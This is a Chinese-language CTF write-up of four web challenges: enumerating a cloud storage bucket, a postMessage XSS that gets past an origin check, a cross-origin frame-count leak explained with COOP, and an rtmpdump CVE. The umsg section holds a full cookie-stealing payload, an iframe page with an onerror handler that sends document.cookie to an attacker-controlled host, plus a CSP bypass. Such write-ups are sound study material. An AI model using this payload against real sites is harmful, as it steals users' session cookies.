web
這web題除了最後一個rtmpdump是個0day,其他的都是前端的問題,noxss200比較有意思。
一、cosplay
step1
首先獲取Bucket裡的檔案列表:
console輸入:
(function(){
cos.getBucket({
Bucket: Bucket,
Region: Region,
Key: '/',
Body: "hack",
}, function (err, data) {
console.log(err, data);
});
})()
響應搜尋flag:
<Contents>
<Key>f1L9@/flag.txt</Key>
<LastModified>2020-07-11T03:55:09.000Z</LastModified>
<ETag>"927f326635999fd9f11565b2a6275daf"</ETag>
<Size>42</Size>
<Owner>
<ID>1253882285</ID>
<DisplayName>1253882285</DisplayName>
</Owner>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag</Key>
<LastModified>2020-07-11T04:40:54.000Z</LastModified>
<ETag>"d8e8fca2dc0f896fd7cb4cb0031ba249"</ETag>
<Size>5</Size>
<Owner>
<ID>1253882285</ID>
<DisplayName>1253882285</DisplayName>
</Owner>
<StorageClass>STANDARD</StorageClass>
</Contents>
step2
然後利用getObject去下載這兩個檔案即可,把返回的剛剛返回的
console輸入:
(function(){
cos.getObject({
Bucket: Bucket,
Region: Region,
Key: 'f1L9@/flag.txt',
Body: "hack",
}, function (err, data) {
console.log(err, data);
});
})()
請求後返回flag。
參考:
https://cloud.tencent.com/document/product/436/7753
二、umsg
給了兩個url:
http://umsg.iffi.top:3000/和http://umsg-bot.iffi.top:2333/
根據第二個網頁頁面所給的提示可知flag在umsg.iffi.top
這個域的cookie中。這個網頁也可以提交引數,然後後端會使用selenium進行一次http請求並進行渲染,因此這裡考慮使用xss來打cookie。
看第一個網頁的原始碼可以發現這裡有三個事件監聽:
window.addEventListener("message", (function(e) {
if (e.origin.match("http://umsg.iffi.top"))
switch (e.data.action) {
case "append":
return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
case "debug":
return void console.log(e.data.payload);//
case "ping":
return void e.source.postMessage("pong", "*")
}
}
), !1)
在append
條件中,js會把收到的資料拼接到html中,經測試可以造成xss。但是由於前面還有個e.origin.match("http://umsg.iffi.top")
的判斷,也就是限定發來資料的那個window的host必須以這個字串開頭,這點我們可以通過註冊umsg.iffi.top.your.domain.com
域名來繞過。
現在的大概思路是在自己的web伺服器上放一個html,其中有個iframe標籤指向第一個url,也就是http://umsg.iffi.top:3000/
,然後利用js的postMessage()
方法傳輸資料給iframe,使之造成xss,然後把cookie打到自己的伺服器上即可。
這裡還有個限制就是由於http://umsg.iffi.top:3000/有CSP策略:default-src 'self' 'unsafe-inline';
,禁止外鏈非同源js。雖然無法操縱js,但是還是可以利用window.location來把cookie帶出來。
web伺服器上的html的訪問路徑為http://umsg.iffi.top.xxx.com/c.html
,內容如下:
hello
<iframe id="kkk" src="http://umsg.iffi.top:3000/" style="width:1500px;height:1500px;"></iframe>
<script>
let myframe = document.getElementById('kkk');
setTimeout(function(){myframe.contentWindow.postMessage({action:"append",payload:"<img src='x' onerror=window.location='http://xxx.com:8899?c='+document.cookie></img>"},"*")},3000);
</script>
同時在vps上監聽8899埠。
把上面html的url輸入到http://umsg-bot.iffi.top:2333/中,然後vps的8899埠即可收到flag。
坑點總結
1.外帶cookie繞過CSP:利用window.location
2.event.origin繞過:利用註冊域名
3.打跨域cookie:利用頁面xss
三、noxss200
剩下幾題都是沒做出來的了。這裡簡單的說一下思路,首先題目的原始碼給了兩個連結:
https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view
,還有程式的原始碼。
這是往年的一個題目叫noxss,利用css解析器的漏洞把頁面json資料解析成css style返回出來。
本題跟umsg一樣也是兩個頁面,一個是部署flag的機器,可能存在xss,一個是提交payload的機器,這臺伺服器利用selenium把payload放到a.href中,然後去傳送請求。selenium構造這個a標籤的語句是:
driver.get('www.example.com')
driver.execute_script(f"let a=document.createElement('a');a.id='clickme';a.text='clickme';a.target='_blank';a.href=atob('{b64encode(payload).decode('utf-8')}');document.body.appendChild(a)")
driver.find_element_by_xpath('//*[@id="clickme"]').click()
這裡python會先用b64encode把payload進行base64編碼,然後在前端時利用atob進行解碼。這裡的"會自動被轉義掉,因此逃不出href屬性造成xss。使用javascript:alert(1)可以執行,但是payload好像有個正則匹配,僅允許http://或https://開頭,so。。不知道如何繞過了。
大哥的wp
我還是太年輕了。這題跟xss沒有任何關係,真的就tm是noxss唄。
Cross Origin Opener Policy(COOP)策略
這題用到了個Cross Origin Opener Policy(COOP)頭,跨域opener策略。
看一個簡單的例子。
good.com/a.html
<html>
xxx
<iframe xxx>
xxx
假設黑客的伺服器是evil.com。黑客誘導使用者訪問evil.com,然後在evil.com有個js指令碼,用來開啟一個good.com的新視窗。如下
<script>win = window.open('http://good.com/a.html');</script>
由於同源策略,evil.com僅可以獲得good.com的window物件,並不能獲取到good.com頁面上的任何個人敏感資訊。
這麼看來這兩個站似乎是完全隔離的。
但是window物件其中有個屬性,window.frames,可以通過訪問window.frames.length來獲取good.com/a.html中的iframe標籤的數量,沒有則為0。
這一點其實就是突破了good.com和evil.com直接的界限,雖然看起來比較雞肋,但是還是有一些攻擊面的。
為了防止通過windows.frames來獲取跨域window的資訊,good.com可以通過返回Cross-Origin-Opener-Policy: same-origin
來限制。此時evil.com如果要獲取win.frames.length則會丟擲一個異常:
Uncaught TypeError: Cannot read property 'length' of null
參考:
Restricting cross-origin WindowProxy access (Cross-Origin-Opener-Policy) #3740
一些可能導致跨域資訊洩漏的DOM API
解題
這題需要獲取flag,通過輸入?search=f
,然後server後臺會查詢flag中是否包含f這個字元,如果存在則返回flag(這題由於需要使用主辦方的代理,因此沒法直接看到返回的內容),如果不存在則返回錯誤,其中包含一個iframe標籤。
結合上面的知識點,這裡就知道什麼原理了。
利用一個類似於盲注的方法,一個字元一個字元的測試,如果正確,那麼win.frames.length==0,如果不正確,那麼win.frames.length==1。
四、rtmpdump
這是一個rtmp的工具,可以處理一些流式資料。題目給的原始碼是2.3,最新版是2.4。實際上2.3已經是2011年那會的了。看了他們官網的git,發現幾個15年提交的漏洞,有個可以rce。
http://git.ffmpeg.org/gitweb/rtmpdump.git/shortlog
CVE-2015-8217
The AMF3CD_AddProp function in amf.c in RTMPDump 2.4 allows remote RTMP Media servers to execute arbitrary code.
https://security-tracker.debian.org/tracker/CVE-2015-8271
關鍵檔案diff見:
http://git.ffmpeg.org/gitweb/rtmpdump.git/commitdiff/530f9bb2a02a78c1198fb2bf0293a12d225e4691
根據詳情可知主要是AMF3CD_AddProp
的問題。
exp:
https://talosintelligence.com/vulnerability_reports/TALOS-2016-0067/
上面的exp中看到好像是利用記憶體指標的控制來造成rce的,感覺像是pwn,然後就沒有深入了。
大哥的wp
沒有提供,似乎真是0day。